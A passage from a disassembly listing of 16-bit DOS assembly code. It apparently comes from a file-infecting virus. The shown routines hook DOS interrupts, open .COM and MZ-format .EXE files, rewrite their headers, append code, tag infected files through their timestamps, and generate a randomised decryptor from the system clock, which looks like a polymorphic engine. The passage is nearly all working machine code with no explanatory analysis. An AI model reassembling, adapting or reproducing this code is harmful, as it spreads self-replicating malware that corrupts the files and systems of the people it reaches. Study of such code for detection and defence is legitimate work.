  761.     call    H0000_C858        ;0C843    E81200
  762.  
  763.     mov    al,21h            ;0C846    B021         !
  764.     mov    di,0092h        ;0C848    BF9200
  765.     call    H0000_C858        ;0C84B    E80A00
  766.  
  767.     mov    bl,81h            ;0C84E    B381
  768.     call    H0000_CEE7        ;0C850    E89406
  769.  
  770.     mov    al,24h            ;0C853    B024         $
  771.     mov    di,008Eh        ;0C855    BF8E00
  772. H0000_C858:
  773.  
  774. ;SEG: CS Override
  775.     mov    dx,cs:[di]        ;0C858    2E8B15        .
  776.  
  777. ;SEG: CS Override
  778.     mov    bx,cs:[di+02h]        ;0C85B    2E8B5D02    . ]
  779.  
  780. ;SEG: DS Change - Indefinite
  781.     mov    ds,bx            ;0C85F    8EDB
  782. H0000_C861:
  783.     mov    ah,25h            ;0C861    B425         %
  784. H0000_C863:
  785.     pushf                ;0C863    9C
  786.  
  787. ;MEM: CALL  DWORD PTR CS:[0086H]
  788.  
  789. ; ah=25h al=24h di=008Eh
  790.     call    DWord Ptr cs:[0086h]    ;0C864    2EFF1E8600    .
  791.  
  792.     ret                ;0C869    C3
  793. ;---------------------------------------
  794. H0000_C86A:
  795.     mov    ax,2FC8h        ;0C86A    B8C82F          /
  796.     jmp    Short H0000_C863    ;0C86D    EBF4
  797. ;---------------------------------------
  798. H0000_C86F:
  799.     mov    ah,43h            ;0C86F    B443         C
  800.     jmp    Short H0000_C863    ;0C871    EBF0
  801. ;---------------------------------------
  802. H0000_C873:
  803.     mov    ah,57h            ;0C873    B457         W
  804.     jmp    Short H0000_C88A    ;0C875    EB13
  805. ;- - - - - - - - - - - - - - - - - - - -
  806. H0000_C877:
  807.     mov    cx,0FFFFh        ;0C877    B9FFFF
  808.     mov    dx,0FFE0h        ;0C87A    BAE0FF
  809.     mov    al,02h            ;0C87D    B002
  810.     call    H0000_C90A        ;0C87F    E88800
  811.  
  812. H0000_C882:
  813.     mov    ah,3Fh            ;0C882    B43F         ?
  814.     mov    cx,0020h        ;0C884    B92000
  815. H0000_C887:
  816.     mov    dx,104Dh        ;0C887    BA4D10         M
  817. H0000_C88A:
  818.     mov    bx,0005h        ;0C88A    BB0500
  819.     jmp    Short H0000_C863    ;0C88D    EBD4
  820. ;---------------------------------------
  821. H0000_C88F:
  822.     mov    cx,0018h        ;0C88F    B91800
  823. H0000_C892:
  824.     mov    ah,40h            ;0C892    B440         @
  825.     jmp    Short H0000_C887    ;0C894    EBF1
  826. ;---------------------------------------
  827. H0000_C896:
  828.     mov    bp,dx            ;0C896    8BEA
  829.     mov    al,00h            ;0C898    B000
  830.     call    H0000_C86F        ;0C89A    E8D2FF
  831.  
  832.     jb    H0000_C8CD        ;0C89D    722E        r.
  833.  
  834. ;SEG: CS Override
  835.     mov    cs:[0581h],cx        ;0C89F    2E890E8105    .
  836.     test    cl,03h            ;0C8A4    F6C103
  837.     jz    H0000_C8B2        ;0C8A7    7409        t
  838.     mov    al,01h            ;0C8A9    B001
  839.     xor    cx,cx            ;0C8AB    33C9        3
  840.     call    H0000_C86F        ;0C8AD    E8BFFF
  841.  
  842.     jb    H0000_C8CD        ;0C8B0    721B        r
  843. H0000_C8B2:
  844.     mov    ax,3D92h        ;0C8B2    B8923D          =
  845.     call    H0000_C863        ;0C8B5    E8ABFF
  846.  
  847.     jb    H0000_C8CD        ;0C8B8    7213        r
  848.  
  849. ;SEG: CS Override
  850.     mov    Word Ptr cs:[04E9h],ax    ;0C8BA    2EA3E904    .
  851.     mov    al,00h            ;0C8BE    B000
  852.     call    H0000_C873        ;0C8C0    E8B0FF
  853.  
  854. ;SEG: CS Override
  855.     mov    cs:[0570h],dx        ;0C8C3    2E89167005    .  p
  856.  
  857. ;SEG: CS Override
  858.     mov    cs:[0573h],cx        ;0C8C8    2E890E7305    .  s
  859. H0000_C8CD:
  860.     ret                ;0C8CD    C3
  861. ;---------------------------------------
  862. H0000_C8CE:
  863.  
  864. ;SEG: CS Override
  865.     mov    cs:[04E9h],bx        ;0C8CE    2E891EE904    .
  866. H0000_C8D3:
  867.     mov    al,01h            ;0C8D3    B001
  868.     call    H0000_C906        ;0C8D5    E82E00         .
  869.  
  870.     jb    H0000_C8FA        ;0C8D8    7220        r
  871.     push    ax            ;0C8DA    50        P
  872.     push    dx            ;0C8DB    52        R
  873.     push    ds            ;0C8DC    1E
  874.     push    cs            ;0C8DD    0E
  875.  
  876. ;SEG: DS Change - 0000h
  877.     pop    ds            ;0C8DE    1F
  878.     mov    Word Ptr ds:[055Dh],ax    ;0C8DF    A35D05         ]
  879.     mov    ds:[0560h],dx        ;0C8E2    89166005      `
  880.     call    H0000_C877        ;0C8E6    E88EFF
  881.  
  882. ;SEG: DS Change - Indefinite
  883.     pop    ds            ;0C8E9    1F
  884.     pop    cx            ;0C8EA    59        Y
  885.     pop    dx            ;0C8EB    5A        Z
  886.     jb    H0000_C8F7        ;0C8EC    7209        r
  887.  
  888. ;ASM: Synonym
  889. ;A    cmp    ax,Word Ptr 0020h    ;0C8EE    3D2000        =
  890.        db      3Dh,20h,00h
  891.  
  892.     jnz    H0000_C8F7        ;0C8F1    7504        u
  893. H0000_C8F3:
  894.     mov    al,00h            ;0C8F3    B000
  895.     jmp    Short H0000_C90A    ;0C8F5    EB13
  896. ;- - - - - - - - - - - - - - - - - - - -
  897. H0000_C8F7:
  898.     call    H0000_C8F3        ;0C8F7    E8F9FF
  899.  
  900. H0000_C8FA:
  901.     stc                ;0C8FA    F9
  902.     ret                ;0C8FB    C3
  903. ;---------------------------------------
  904. H0000_C8FC:
  905.     mov    al,00h            ;0C8FC    B000
  906.     mov    dx,0000h        ;0C8FE    BA0000
  907.     mov    cx,0000h        ;0C901    B90000
  908. H0000_C904:
  909.     xor    ax,ax            ;0C904    33C0        3
  910. H0000_C906:
  911.     xor    cx,cx            ;0C906    33C9        3
  912.     mov    dx,cx            ;0C908    8BD1
  913. H0000_C90A:
  914.     mov    ah,42h            ;0C90A    B442         B
  915.     jmp    Near Ptr H0000_C88A    ;0C90C    E97BFF         {
  916. ;---------------------------------------
  917. H0000_C90F:
  918.     mov    al,01h            ;0C90F    B001
  919.     mov    dx,0DEAFh        ;0C911    BAAFDE
  920.     mov    cx,2800h        ;0C914    B90028          (
  921.     call    H0000_C873        ;0C917    E859FF         Y
  922.  
  923.     mov    ah,3Eh            ;0C91A    B43E         >
  924.     call    H0000_C88A        ;0C91C    E86BFF         k
  925.  
  926.     call    H0000_CFC8        ;0C91F    E8A606
  927.  
  928.     mov    cx,0020h        ;0C922    B92000
  929.     mov    al,01h            ;0C925    B001
  930.     jmp    Near Ptr H0000_C86F    ;0C927    E945FF         E
  931. ;---------------------------------------
  932. H0000_C92A:
  933.     mov    di,dx            ;0C92A    8BFA
  934.     mov    cx,0050h        ;0C92C    B95000         P
  935.     mov    al,2Eh            ;0C92F    B02E         .
  936.     push    ds            ;0C931    1E
  937.  
  938. ;SEG: ES Change - Indefinite
  939.     pop    es            ;0C932    07
  940.     cld                ;0C933    FC
  941.  
  942. ; al=2Eh cx=0050h
  943.     repne    scasb            ;0C934    F2AE
  944.     jnz    H0000_C940        ;0C936    7508        u
  945.     mov    ax,[di]         ;0C938    8B05
  946.     or    ax,6060h        ;0C93A    0D6060         ``
  947.     cmp    ax,6F63h        ;0C93D    3D636F        =co
  948. H0000_C940:
  949.     ret                ;0C940    C3
  950. ;---------------------------------------
  951. H0000_C941:
  952.     call    H0000_CECE        ;0C941    E88A05
  953.  
  954.     jz    H0000_C963        ;0C944    741D        t
  955.     call    H0000_C896        ;0C946    E84DFF         M
  956.  
  957.     jnb    H0000_C950        ;0C949    7305        s
  958.     cmp    al,03h            ;0C94B    3C03        <
  959.     ja    H0000_C95B        ;0C94D    770C        w
  960.     ret                ;0C94F    C3
  961. ;---------------------------------------
  962. H0000_C950:
  963.     call    H0000_CCB4        ;0C950    E86103         a
  964.  
  965.     jnb    H0000_C95B        ;0C953    7306        s
  966.     call    H0000_CCC0        ;0C955    E86803         h
  967.  
  968.     call    H0000_C965        ;0C958    E80A00
  969.  
  970. H0000_C95B:
  971.     jmp    Short H0000_C90F    ;0C95B    EBB2
  972. ;---------------------------------------
  973. H0000_C95D:
  974.  
  975. ;SEG: CS Override
  976.     sub    Byte Ptr cs:[0571h],0C8h;0C95D    2E802E7105C8    . .q
  977. H0000_C963:
  978.     stc                ;0C963    F9
  979.     ret                ;0C964    C3
  980. ;---------------------------------------
  981. H0000_C965:
  982.     call    H0000_CE52        ;0C965    E8EA04
  983.  
  984.     jz    H0000_C963        ;0C968    74F9        t
  985.     push    cs            ;0C96A    0E
  986.  
  987. ;SEG: DS Change - 0000h
  988.     pop    ds            ;0C96B    1F
  989.     call    H0000_C882        ;0C96C    E813FF
  990.  
  991.     jb    H0000_C95D        ;0C96F    72EC        r
  992.     mov    si,104Dh        ;0C971    BE4D10         M
  993.     call    H0000_CCC7        ;0C974    E85003         P
  994.  
  995.     jnz    H0000_C983        ;0C977    750A        u
  996.     cmp    Byte Ptr [si],0E9h    ;0C979    803CE9         <
  997.     jz    H0000_C98F        ;0C97C    7411        t
  998.     mov    al,00h            ;0C97E    B000
  999.     call    H0000_CCCE        ;0C980    E84B03         K
  1000.  
  1001. H0000_C983:
  1002.     cmp    Word Ptr [si],5A4Dh    ;0C983    813C4D5A     <MZ
  1003.     jnz    H0000_C95D        ;0C987    75D4        u
  1004.  
  1005. ;ASM: Synonym
  1006. ;A    cmp    Word Ptr [si+18h],+40h    ;0C989    837C1840     | @
  1007.        db      83h,7Ch,18h,40h
  1008.  
  1009.     jz    H0000_C95D        ;0C98D    74CE        t
  1010. H0000_C98F:
  1011.     mov    ax,[si+10h]        ;0C98F    8B4410         D
  1012.     cmp    ax,02F0h        ;0C992    3DF002        =
  1013.     jz    H0000_C95D        ;0C995    74C6        t
  1014.     cmp    ax,0510h        ;0C997    3D1005        =
  1015.     jb    H0000_C9A1        ;0C99A    7205        r
  1016.     cmp    ax,0522h        ;0C99C    3D2205        ="
  1017.     jb    H0000_C95D        ;0C99F    72BC        r
  1018. H0000_C9A1:
  1019.     call    H0000_CCC7        ;0C9A1    E82303         #
  1020.  
  1021. ;MEM: Possible Data Area
  1022. ;A    jnz    H0000_C9A6        ;0C9A4    7500        u
  1023.        db      75h,00h
  1024.  
  1025. H0000_C9A6:
  1026.     mov    Word Ptr ds:[0FD3h],ax    ;0C9A6    A3D30F
  1027.     mov    ax,[si+14h]        ;0C9A9    8B4414         D
  1028.     call    H0000_CCC7        ;0C9AC    E81803
  1029.  
  1030.     jnz    H0000_C9BA        ;0C9AF    7509        u
  1031.     mov    ax,[si+01h]        ;0C9B1    8B4401         D
  1032.     mov    Word Ptr ds:[0FC5h],ax    ;0C9B4    A3C50F
  1033.     mov    ax,0100h        ;0C9B7    B80001
  1034. H0000_C9BA:
  1035.     mov    Word Ptr ds:[0FDDh],ax    ;0C9BA    A3DD0F
  1036.     call    H0000_CCC7        ;0C9BD    E80703
  1037.  
  1038.     jz    H0000_C9D8        ;0C9C0    7416        t
  1039.     mov    ax,[si+04h]        ;0C9C2    8B4404         D
  1040.  
  1041. ;ASM: Synonym
  1042. ;A    cmp    ax,Word Ptr 0010h    ;0C9C5    3D1000        =
  1043.        db      3Dh,10h,00h
  1044.  
  1045.     jb    H0000_C95D        ;0C9C8    7293        r
  1046.     dec    ax            ;0C9CA    48        H
  1047.     mov    dx,0200h        ;0C9CB    BA0002
  1048.     mul    dx            ;0C9CE    F7E2
  1049.     add    ax,[si+02h]        ;0C9D0    034402         D
  1050.  
  1051. ;ASM: Synonym
  1052. ;A    adc    dx,+00h         ;0C9D3    83D200
  1053.        db      83h,0D2h,00h
  1054.  
  1055.     push    ax            ;0C9D6    50        P
  1056.     push    dx            ;0C9D7    52        R
  1057. H0000_C9D8:
  1058.     mov    al,02h            ;0C9D8    B002
  1059.     call    H0000_C906        ;0C9DA    E829FF         )
  1060.  
  1061. ;SEG: SP Change - Indefinite
  1062.     mov    [si+18h],ax        ;0C9DD    894418         D
  1063.  
  1064. ;SEG: SP Change - Indefinite
  1065.     mov    [si+1Ah],dx        ;0C9E0    89541A         T
  1066.     call    H0000_CCC7        ;0C9E3    E8E102
  1067.  
  1068.     jnz    H0000_CA00        ;0C9E6    7518        u
  1069.     or    dx,dx            ;0C9E8    0BD2
  1070.     jnz    H0000_C9FD        ;0C9EA    7511        u
  1071.     cmp    ah,0D6h         ;0C9EC    80FCD6
  1072.     ja    H0000_C9FD        ;0C9EF    770C        w
  1073.     cmp    ah,20h            ;0C9F1    80FC20
  1074.     jb    H0000_C9FD        ;0C9F4    7207        r
  1075.     mov    di,ax            ;0C9F6    8BF8
  1076.  
  1077. ;ASM: Synonym
  1078. ;A    sub    di,+03h         ;0C9F8    83EF03
  1079.        db      83h,0EFh,03h
  1080.  
  1081.     jmp    Short H0000_CA14    ;0C9FB    EB17
  1082. ;- - - - - - - - - - - - - - - - - - - -
  1083. H0000_C9FD:
  1084.     jmp    Near Ptr H0000_C95D    ;0C9FD    E95DFF         ]
  1085. ;---------------------------------------
  1086. H0000_CA00:
  1087.     pop    bp            ;0CA00    5D        ]
  1088.     pop    di            ;0CA01    5F        _
  1089.     cmp    ax,di            ;0CA02    3BC7        ;
  1090.     jnz    H0000_C9FD        ;0CA04    75F7        u
  1091.     cmp    dx,bp            ;0CA06    3BD5        ;
  1092.     jnz    H0000_C9FD        ;0CA08    75F3        u
  1093.  
  1094. ;ASM: Synonym
  1095. ;A    cmp    dx,+0Fh         ;0CA0A    83FA0F
  1096.        db      83h,0FAh,0Fh
  1097.  
  1098.     ja    H0000_C9FD        ;0CA0D    77EE        w
  1099.     mov    di,ax            ;0CA0F    8BF8
  1100.  
  1101. ;MEM: Possible Data - Invalid Code
  1102. ;A    and    di,+0Fh         ;0CA11    83E70F
  1103.        db      83h,0E7h,0Fh
  1104.  
  1105. H0000_CA14:
  1106.     mov    ds:[0895h],di        ;0CA14    893E9508     >
  1107.     push    di            ;0CA18    57        W
  1108.     mov    cl,04h            ;0CA19    B104
  1109.     shr    ax,cl            ;0CA1B    D3E8
  1110.     ror    dx,cl            ;0CA1D    D3CA
  1111.     add    ax,dx            ;0CA1F    03C2
  1112.     sub    ax,[si+08h]        ;0CA21    2B4408        +D
  1113.     push    ax            ;0CA24    50        P
  1114.     push    ax            ;0CA25    50        P
  1115.     push    ax            ;0CA26    50        P
  1116.     add    ax,di            ;0CA27    03C7
  1117.     push    ax            ;0CA29    50        P
  1118.     mov    ah,2Ah            ;0CA2A    B42A         *
  1119.     call    H0000_C863        ;0CA2C    E834FE         4
  1120.  
  1121.     add    dh,03h            ;0CA2F    80C603
  1122.     cmp    dh,0Dh            ;0CA32    80FE0D
  1123.     jb    H0000_CA3B        ;0CA35    7204        r
  1124.     sub    dh,0Ch            ;0CA37    80EE0C
  1125.     inc    cx            ;0CA3A    41        A
  1126. H0000_CA3B:
  1127.     mov    ds:[0CEEh],cx        ;0CA3B    890EEE0C
  1128.     mov    ds:[0CE8h],dx        ;0CA3F    8916E80C
  1129.     mov    ah,2Ch            ;0CA43    B42C         ,
  1130.     call    H0000_C863        ;0CA45    E81BFE
  1131.  
  1132.     pop    ax            ;0CA48    58        X
  1133.     add    ax,cx            ;0CA49    03C1
  1134.     add    ax,dx            ;0CA4B    03C2
  1135.     neg    ax            ;0CA4D    F7D8
  1136.     mov    Word Ptr [si+1Ch],0DEADh;0CA4F    C7441CADDE     D
  1137.  
  1138. ;SEG: SP Change - Indefinite
  1139.     mov    [si+1Eh],ax        ;0CA54    89441E         D
  1140.     xor    ax,0DEAFh        ;0CA57    35AFDE        5
  1141.     mov    Word Ptr ds:[07E6h],ax    ;0CA5A    A3E607
  1142.     mov    Word Ptr ds:[1098h],ax    ;0CA5D    A39810
  1143.     call    H0000_CCD3        ;0CA60    E87002         p
  1144.  
  1145.     mov    Word Ptr ds:[08EEh],ax    ;0CA63    A3EE08
  1146.     mov    ds:[08DFh],bx        ;0CA66    891EDF08
  1147.     pop    ax            ;0CA6A    58        X
  1148.     sub    ax,bx            ;0CA6B    2BC3        +
  1149.     sub    ax,[si+16h]        ;0CA6D    2B4416        +D
  1150.     mov    Word Ptr ds:[0FD9h],ax    ;0CA70    A3D90F
  1151.     pop    ax            ;0CA73    58        X
  1152.     sub    ax,bx            ;0CA74    2BC3        +
  1153.     sub    ax,[si+0Eh]        ;0CA76    2B440E        +D
  1154.     mov    Word Ptr ds:[0FCEh],ax    ;0CA79    A3CE0F
  1155.     sal    bx,1            ;0CA7C    D1E3
  1156.     mov    ds:[0883h],bx        ;0CA7E    891E8308
  1157.     cld                ;0CA82    FC
  1158.     push    si            ;0CA83    56        V
  1159.     push    cs            ;0CA84    0E
  1160.  
  1161. ;SEG: ES Change - 0000h
  1162.     pop    es            ;0CA85    07
  1163.     mov    si,1014h        ;0CA86    BE1410
  1164.     mov    di,si            ;0CA89    8BFE
  1165.     push    si            ;0CA8B    56        V
  1166.     lodsw                ;0CA8C    AD
  1167.     xchg    ax,bx            ;0CA8D    93
  1168.     lodsw                ;0CA8E    AD
  1169.     xchg    al,ah            ;0CA8F    86C4
  1170.     xchg    bl,bh            ;0CA91    86DF
  1171.     xchg    ah,bl            ;0CA93    86E3
  1172.     xchg    ax,bx            ;0CA95    93
  1173.     stosw                ;0CA96    AB
  1174.     xchg    ax,bx            ;0CA97    93
  1175.     stosw                ;0CA98    AB
  1176.     mov    ah,2Ch            ;0CA99    B42C         ,
  1177.     call    H0000_C863        ;0CA9B    E8C5FD
  1178.  
  1179.     mov    bp,cx            ;0CA9E    8BE9
  1180.     add    bp,dx            ;0CAA0    03EA
  1181.     mov    bx,cx            ;0CAA2    8BD9
  1182.     mov    cl,04h            ;0CAA4    B104
  1183.     sal    bl,cl            ;0CAA6    D2E3
  1184.     and    dh,0Fh            ;0CAA8    80E60F
  1185.     or    dh,bl            ;0CAAB    0AF3
  1186.     mov    dl,bh            ;0CAAD    8AD7
  1187.     sal    dl,cl            ;0CAAF    D2E2
  1188.     push    dx            ;0CAB1    52        R
  1189.     mov    ah,2Ah            ;0CAB2    B42A         *
  1190.     call    H0000_C863        ;0CAB4    E8ACFD
  1191.  
  1192.     add    bp,dx            ;0CAB7    03EA
  1193.     neg    bp            ;0CAB9    F7DD
  1194.     mov    cx,dx            ;0CABB    8BCA
  1195.     pop    dx            ;0CABD    5A        Z
  1196.     or    dl,al            ;0CABE    0AD0
  1197.     mov    di,00CDh        ;0CAC0    BFCD00
  1198.     mov    ax,bp            ;0CAC3    8BC5
  1199.     call    H0000_CCD3        ;0CAC5    E80B02
  1200.  
  1201.     mov    Word Ptr ds:[08F5h],ax    ;0CAC8    A3F508
  1202.     mov    Word Ptr ds:[08A5h],ax    ;0CACB    A3A508
  1203.     mov    ds:[08E6h],bx        ;0CACE    891EE608
  1204.     mov    bx,ds:[0C47h]        ;0CAD2    8B1E470C      G
  1205.     pop    si            ;0CAD6    5E        ^
  1206.     test    dl,01h            ;0CAD7    F6C201
  1207.     jz    H0000_CAE9        ;0CADA    740D        t
  1208.     mov    al,26h            ;0CADC    B026         &
  1209.     test    ch,02h            ;0CADE    F6C502
  1210.     jz    H0000_CAE8        ;0CAE1    7405        t
  1211.     mov    al,06h            ;0CAE3    B006
  1212.     stosb                ;0CAE5    AA
  1213.     mov    al,1Fh            ;0CAE6    B01F
  1214. H0000_CAE8:
  1215.     stosb                ;0CAE8    AA
  1216. H0000_CAE9:
  1217.     lodsb                ;0CAE9    AC
  1218.     call    H0000_CCDD        ;0CAEA    E8F001
  1219.  
  1220.     lodsb                ;0CAED    AC
  1221.     call    H0000_CCDD        ;0CAEE    E8EC01
  1222.  
  1223.     lodsb                ;0CAF1    AC
  1224.     call    H0000_CCDD        ;0CAF2    E8E801
  1225.  
  1226.     lodsb                ;0CAF5    AC
  1227.     call    H0000_CCDD        ;0CAF6    E8E401
  1228.  
  1229.     test    dl,01h            ;0CAF9    F6C201
  1230.     jnz    H0000_CB12        ;0CAFC    7514        u
  1231.     test    bl,15h            ;0CAFE    F6C315
  1232.     jnz    H0000_CB09        ;0CB01    7506        u
  1233.     mov    ax,071Eh        ;0CB03    B81E07
  1234.     stosw                ;0CB06    AB
  1235.     jmp    Short H0000_CB12    ;0CB07    EB09
  1236. ;- - - - - - - - - - - - - - - - - - - -
  1237. H0000_CB09:
  1238.     mov    al,0F2h         ;0CB09    B0F2
  1239.     test    ch,01h            ;0CB0B    F6C501
  1240.     jz    H0000_CB11        ;0CB0E    7401        t
  1241.     inc    ax            ;0CB10    40        @
  1242. H0000_CB11:
  1243.     stosb                ;0CB11    AA
  1244. H0000_CB12:
  1245.     push    di            ;0CB12    57        W
  1246.  
  1247. ;ASM: Synonym
  1248. ;A    sub    si,+04h         ;0CB13    83EE04
  1249.        db      83h,0EEh,04h
  1250.  
  1251.     call    H0000_CCC7        ;0CB16    E8AE01
  1252.  
  1253.     jz    H0000_CB1E        ;0CB19    7403        t
  1254.     mov    al,36h            ;0CB1B    B036         6
  1255.     stosb                ;0CB1D    AA
  1256. H0000_CB1E:
  1257.     mov    al,31h            ;0CB1E    B031         1
  1258.     mov    Byte Ptr ds:[1095h],al    ;0CB20    A29510
  1259.     test    dh,40h            ;0CB23    F6C640          @
  1260.     jz    H0000_CB2F        ;0CB26    7407        t
  1261.     mov    Byte Ptr ds:[1095h],01h ;0CB28    C606951001
  1262.     mov    al,29h            ;0CB2D    B029         )
  1263. H0000_CB2F:
  1264.     mov    Byte Ptr ds:[1081h],al    ;0CB2F    A28110
  1265.     stosb                ;0CB32    AA
  1266.     mov    al,1Ch            ;0CB33    B01C
  1267.     test    dh,02h            ;0CB35    F6C602
  1268.     jz    H0000_CB3C        ;0CB38    7402        t
  1269.     inc    al            ;0CB3A    FEC0
  1270. H0000_CB3C:
  1271.     test    cl,03h            ;0CB3C    F6C103
  1272.     jz    H0000_CB43        ;0CB3F    7402        t
  1273.     sub    al,08h            ;0CB41    2C08        ,
  1274. H0000_CB43:
  1275.     stosb                ;0CB43    AA
  1276.     call    H0000_CD96        ;0CB44    E84F02         O
  1277.  
  1278.     test    bl,01h            ;0CB47    F6C301
  1279.     jz    H0000_CB4F        ;0CB4A    7403        t
  1280.     call    H0000_CD87        ;0CB4C    E83802         8
  1281.  
  1282. H0000_CB4F:
  1283.     mov    Byte Ptr ds:[1097h],05h ;0CB4F    C606971005
  1284.     cmp    ch,0Ah            ;0CB54    80FD0A
  1285.     jb    H0000_CB6F        ;0CB57    7216        r
  1286.     test    cl,03h            ;0CB59    F6C103
  1287.     jnz    H0000_CB6F        ;0CB5C    7511        u
  1288.     mov    ax,5F8Dh        ;0CB5E    B88D5F          _
  1289.     stosw                ;0CB61    AB
  1290.     xor    ax,ax            ;0CB62    33C0        3
  1291.     mov    al,bl            ;0CB64    8AC3
  1292.     or    al,40h            ;0CB66    0C40         @
  1293.     cbw                ;0CB68    98
  1294.     mov    Word Ptr ds:[1098h],ax    ;0CB69    A39810
  1295.     stosb                ;0CB6C    AA
  1296.     jmp    Short H0000_CB8B    ;0CB6D    EB1C
  1297. ;- - - - - - - - - - - - - - - - - - - -
  1298. H0000_CB6F:
  1299.     mov    al,81h            ;0CB6F    B081
  1300.     stosb                ;0CB71    AA
  1301.     mov    al,0C3h         ;0CB72    B0C3
  1302.     test    cl,03h            ;0CB74    F6C103
  1303.     jz    H0000_CB7A        ;0CB77    7401        t
  1304.     dec    ax            ;0CB79    48        H
  1305. H0000_CB7A:
  1306.     test    dl,02h            ;0CB7A    F6C202
  1307.     jz    H0000_CB86        ;0CB7D    7407        t
  1308.     add    al,30h            ;0CB7F    0430         0
  1309.     mov    Byte Ptr ds:[1097h],35h ;0CB81    C606971035        5
  1310. H0000_CB86:
  1311.     stosb                ;0CB86    AA
  1312.     mov    ax,0F6F5h        ;0CB87    B8F5F6
  1313.     stosw                ;0CB8A    AB
  1314. H0000_CB8B:
  1315.     test    bl,01h            ;0CB8B    F6C301
  1316.     jnz    H0000_CB93        ;0CB8E    7503        u
  1317.     call    H0000_CD87        ;0CB90    E8F401
  1318.  
  1319. H0000_CB93:
  1320.     test    dh,03h            ;0CB93    F6C603
  1321.     jz    H0000_CBAC        ;0CB96    7414        t
  1322.     call    H0000_CD96        ;0CB98    E8FB01
  1323.  
  1324.     mov    al,83h            ;0CB9B    B083
  1325.     stosb                ;0CB9D    AA
  1326.     mov    al,0EEh         ;0CB9E    B0EE
  1327.     test    dh,02h            ;0CBA0    F6C602
  1328.     jz    H0000_CBA6        ;0CBA3    7401        t
  1329.     inc    ax            ;0CBA5    40        @
  1330. H0000_CBA6:
  1331.     stosb                ;0CBA6    AA
  1332.     mov    al,0FEh         ;0CBA7    B0FE
  1333.     stosb                ;0CBA9    AA
  1334.     jmp    Short H0000_CBBB    ;0CBAA    EB0F
  1335. ;- - - - - - - - - - - - - - - - - - - -
  1336. H0000_CBAC:
  1337.     mov    al,46h            ;0CBAC    B046         F
  1338.     test    dh,02h            ;0CBAE    F6C602
  1339.     jz    H0000_CBB4        ;0CBB1    7401        t
  1340.     inc    ax            ;0CBB3    40        @
  1341. H0000_CBB4:
  1342.     stosb                ;0CBB4    AA
  1343.     push    ax            ;0CBB5    50        P
  1344.     call    H0000_CD96        ;0CBB6    E8DD01
  1345.  
  1346.     pop    ax            ;0CBB9    58        X
  1347.     stosb                ;0CBBA    AA
  1348. H0000_CBBB:
  1349.     call    H0000_CD96        ;0CBBB    E8D801
  1350.  
  1351.     test    bl,03h            ;0CBBE    F6C303
  1352.     jnz    H0000_CBD1        ;0CBC1    750E        u
  1353.     test    dl,10h            ;0CBC3    F6C210
  1354.     jnz    H0000_CBD1        ;0CBC6    7509        u
  1355.     cmp    ch,03h            ;0CBC8    80FD03
  1356.     ja    H0000_CBD1        ;0CBCB    7704        w
  1357.     mov    al,0E2h         ;0CBCD    B0E2
  1358.     jmp    Short H0000_CBFB    ;0CBCF    EB2A         *
  1359. ;- - - - - - - - - - - - - - - - - - - -
  1360. H0000_CBD1:
  1361.     mov    al,49h            ;0CBD1    B049         I
  1362.     test    dl,10h            ;0CBD3    F6C210
  1363.     jz    H0000_CBDA        ;0CBD6    7402        t
  1364.     add    al,04h            ;0CBD8    0404
  1365. H0000_CBDA:
  1366.     test    bl,03h            ;0CBDA    F6C303
  1367.     jz    H0000_CBE1        ;0CBDD    7402        t
  1368.     sub    al,08h            ;0CBDF    2C08        ,
  1369. H0000_CBE1:
  1370.     stosb                ;0CBE1    AA
  1371.     call    H0000_CD96        ;0CBE2    E8B101
  1372.  
  1373.     cmp    ch,0Ah            ;0CBE5    80FD0A
  1374.     jb    H0000_CBEF        ;0CBE8    7205        r
  1375.     test    cl,03h            ;0CBEA    F6C103
  1376.     jz    H0000_CBFD        ;0CBED    740E        t
  1377. H0000_CBEF:
  1378.     test    dh,03h            ;0CBEF    F6C603
  1379.     jnz    H0000_CBFD        ;0CBF2    7509        u
  1380.     test    dl,02h            ;0CBF4    F6C202
  1381.     jz    H0000_CBFD        ;0CBF7    7404        t
  1382.     mov    al,77h            ;0CBF9    B077         w
  1383. H0000_CBFB:
  1384.     jmp    Short H0000_CBFF    ;0CBFB    EB02
  1385. ;- - - - - - - - - - - - - - - - - - - -
  1386. H0000_CBFD:
  1387.     mov    al,75h            ;0CBFD    B075         u
  1388. H0000_CBFF:
  1389.     stosb                ;0CBFF    AA
  1390.     pop    ax            ;0CC00    58        X
  1391.     dec    ax            ;0CC01    48        H
  1392.     sub    ax,di            ;0CC02    2BC7        +
  1393.     stosb                ;0CC04    AA
  1394.  
  1395. ;ASM: Synonym
  1396. ;A    test    di,Word Ptr 0001h    ;0CC05    F7C70100
  1397.        db      0F7h,0C7h,01h,00h
  1398.  
  1399.     jnz    H0000_CC17        ;0CC09    750C        u
  1400.     mov    al,bl            ;0CC0B    8AC3
  1401.     and    al,07h            ;0CC0D    2407        $
  1402.     or    al,90h            ;0CC0F    0C90
  1403.     cmp    al,94h            ;0CC11    3C94        <
  1404.     jnz    H0000_CC16        ;0CC13    7501        u
  1405.     inc    ax            ;0CC15    40        @
  1406. H0000_CC16:
  1407.     stosb                ;0CC16    AA
  1408. H0000_CC17:
  1409.     mov    ax,00EDh        ;0CC17    B8ED00
  1410.     sub    ax,di            ;0CC1A    2BC7        +
  1411.     shr    ax,1            ;0CC1C    D1E8
  1412.     add    ax,07B0h        ;0CC1E    05B007
  1413.     mov    Word Ptr ds:[1093h],ax    ;0CC21    A39310
  1414.     add    ax,00DEh        ;0CC24    05DE00
  1415.     test    bl,03h            ;0CC27    F6C303
  1416.     jz    H0000_CC2E        ;0CC2A    7402        t
  1417.     neg    ax            ;0CC2C    F7D8
  1418. H0000_CC2E:
  1419.     mov    Word Ptr ds:[00D6h],ax    ;0CC2E    A3D600
  1420.     mov    ax,di            ;0CC31    8BC7
  1421.     mov    Word Ptr ds:[1090h],ax    ;0CC33    A39010
  1422.     add    ax,0C36Ch        ;0CC36    056CC3         l
  1423.     sub    ax,00CDh        ;0CC39    2DCD00        -
  1424.     call    H0000_CCC7        ;0CC3C    E88800
  1425.  
  1426.     jnz    H0000_CC46        ;0CC3F    7505        u
  1427.     add    ax,0103h        ;0CC41    050301
  1428.     jmp    Short H0000_CC49    ;0CC44    EB03
  1429. ;- - - - - - - - - - - - - - - - - - - -
  1430. H0000_CC46:
  1431.     add    ax,04F0h        ;0CC46    05F004
  1432. H0000_CC49:
  1433.     mov    Word Ptr ds:[00CEh],ax    ;0CC49    A3CE00
  1434.     mov    al,0E9h         ;0CC4C    B0E9
  1435.     stosb                ;0CC4E    AA
  1436.     mov    ax,0CD5h        ;0CC4F    B8D50C
  1437.     sub    ax,di            ;0CC52    2BC7        +
  1438.     stosw                ;0CC54    AB
